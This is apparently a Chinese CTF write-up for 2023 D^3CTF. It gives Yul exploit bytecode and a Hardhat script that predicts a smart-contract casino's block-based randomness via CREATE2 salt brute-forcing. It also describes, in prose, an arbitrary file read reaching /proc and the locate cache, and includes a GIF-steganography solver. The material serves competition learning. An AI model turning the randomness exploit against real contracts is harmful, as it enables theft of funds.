object "Exp" { code { // Deploy the contract datacopy(0, dataoffset("runtime"), datasize("runtime")) return(0, datasize("runtime")) } object "runtime" {  code { if gt(calldatasize(), 0) { // call bet let addr := 0x348fab138Ec760eBd0A7751225E6F632C6f5715f let x := 0 mstore(x, 0x11610c25) let success := call(gas(), addr, 0, add(x, 28), 4, x, 0x20) return(0, 0) } // test calc rand mstore(0, timestamp()) mstore(52, address()) mstore(32, difficulty()) let rand := keccak256(0, 84) rand := mod(rand, 17) // return rand mstore(0, rand) return(0, 0x20) } }}

攻击脚本,用hardhat:

2023 D^3CTF writeup by 万年三等奖
const { ethers } = require('hardhat');function calc_salt(addr, casino_addr, from=0, count=5) { var salt = BigInt(from); var target_code = "0x" + "6059600d60003960596000f3fe600036111560385773" + casino_addr.slice(2) + "60006311610c2581526020816004601c84016000865af1600080f35b42600052306034524460205260546000206011810690508060005260206000f3"; var cnt = 0; var res = Array(count).fill(0); while (true) { var salt_str = "0x" + salt.toString(16).padStart(64, '0'); create_addr = ethers.utils.solidityKeccak256( ['bytes1', 'address', 'bytes32', 'bytes32'], ['0xff', addr, salt_str, ethers.utils.solidityKeccak256(['bytes'], [target_code])] ).slice(26); if (create_addr.startsWith('0000')) { console.log('find salt:', salt_str); console.log('create_addr:', create_addr); res[cnt] = salt_str; cnt += 1; if (cnt == count) { break; } } salt++; } return res;}describe('Test', function() { it('D3', async function() { const D3 = await ethers.getContractFactory('D3Casino');  const Attack = await ethers.getContractFactory('Attack'); const casino_addr = '0x1ac02a58e9e8fC1031EC713a23F8D2491df98fEd';  const attack = await Attack.deploy(); await attack.deployed(); const d3 = D3.attach(casino_addr); console.log('attack', attack.address); console.log('exp', await attack.exp()); const [owner] = await ethers.getSigners(); console.log('owner', owner.address); console.log('balance', ethers.utils.formatEther(await ethers.provider.getBalance(owner.address))); console.log('d3', d3.address); console.log('scores', await d3.scores(owner.address));  var salt_arr = calc_salt(attack.address, d3.address);  for (var i = 0; i < salt_arr.length; i++) { console.log('salt', salt_arr[i]); await attack.deploy_exp(salt_arr[i], d3.address, {gasLimit: 3000000}); await new Promise(r => setTimeout(r, 10000)); var exp_addr = await attack.exp(); console.log('exp_addr', exp_addr); await attack.attack({gasLimit: 3000000}); await new Promise(r => setTimeout(r, 10000)); var betrecord = await d3.betrecord(exp_addr); console.log('betrecord', betrecord); var scores = await d3.scores(owner.address); console.log('scores', scores); } const tx = await d3.Solve({gasLimit: 3000000}); const receipt = await tx.wait(); console.log('receipt', receipt); });});
d3readfile:抓包得到接口和参数,可以任意文件读

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

试了一下读不到 flag,尝试一下利用 proc

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

是个二进制文件,也没啥用。。。读环境变量

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

有段base64

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

算是个提示,locate 命令是查询文件所在位置的,会在本地缓存数据库,不同版本似乎缓存的目录并不一样,问一下 chatgpt:
2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

最后发现是在/var/cache/locate/located

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

2023 D^3CTF writeup by 万年三等奖

d3gif:

2023 D^3CTF writeup by 万年三等奖
from PIL import Image, ImageSequencedef get_nodes(): file_path = "./img/gif.gif" img = Image.open(file_path) iter = ImageSequence.Iterator(img) index = 0 for frame in iter: frame.save('./img/res/{0}.png'.format(index)) index += 1 print("done")# get_nodes()new_img = Image.new('RGB',(340,340))def get_colors(): for i in range(1,1089): img = Image.open('./img/res/{0}.png'.format(i)) pixel = img.getpixel((1,1)) x = pixel[0] y = pixel[1] m = pixel[2] x = int(x) y = int(y) for i in range(x*10,x*10+10): for j in range(y*10,y*10+10): if m == 0: new_img.putpixel((i,j),(0,0,0)) else: new_img.putpixel((i,j),(255,255,255)) #print(i,pixel)get_colors()new_img.save('./img/flag.png')

2023 D^3CTF writeup by 万年三等奖

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2023 D^3CTF writeup by 万年三等奖

原文始发于微信公众号(Arr3stY0u):2023 D^3CTF writeup by 万年三等奖

版权声明:admin 发表于 2023年5月1日 下午10:01。
转载请注明:2023 D^3CTF writeup by 万年三等奖 | CTF导航

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